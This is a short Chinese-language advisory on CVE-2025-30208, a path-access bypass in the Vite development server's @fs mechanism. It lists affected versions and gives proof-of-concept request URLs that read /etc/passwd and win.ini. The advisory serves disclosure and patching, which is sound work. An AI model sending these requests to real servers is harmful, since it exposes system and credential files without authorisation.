0x00 前言
Vite 是一个现代化的前端构建工具,旨在通过利用现代浏览器的原生 ES 模块支持,提供快速的开发体验。广泛应用于Vue.js等项目的开发中。在其开发服务器模式下,Vite提供了@fs
机制,用于访问服务允许范围内的文件。
Vite 由两部分组成:
1、开发服务器:基于原生 ES 模块,提供超快的热更新。
2、构建命令:使用 Rollup 打包代码,生成适用于生产环境的优化静态资源。
0x01 漏洞描述
Vite 的@fs
机制本用于限制对非白名单目录的访问,但其在 URL 解析时未正确处理?raw??
或?import&raw??
等查询参数,导致安全检查被绕过。
例如,攻击者可构造类似/@fs/etc/passwd?raw??
的请求,导致攻击者可绕过 server.fs.allow
限制,直接读取任意文件内容。
0x02 CVE编号
CVE-2025-30208
0x03 影响版本
6.2.0 <= vite < 6.2.3
6.1.0 <= vite < 6.1.2
6.0.0 <= vite < 6.0.12
5.0.0 <= vite < 5.4.15
vite < 4.5.10
0x04 漏洞详情
POC:
Linux:
"http://x.x.x.x/@fs/etc/passwd?raw??"
Windows:
"http://x.x.x.x/@fs/C:/Windows/win.ini?raw??"
0x05 参考链接
https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w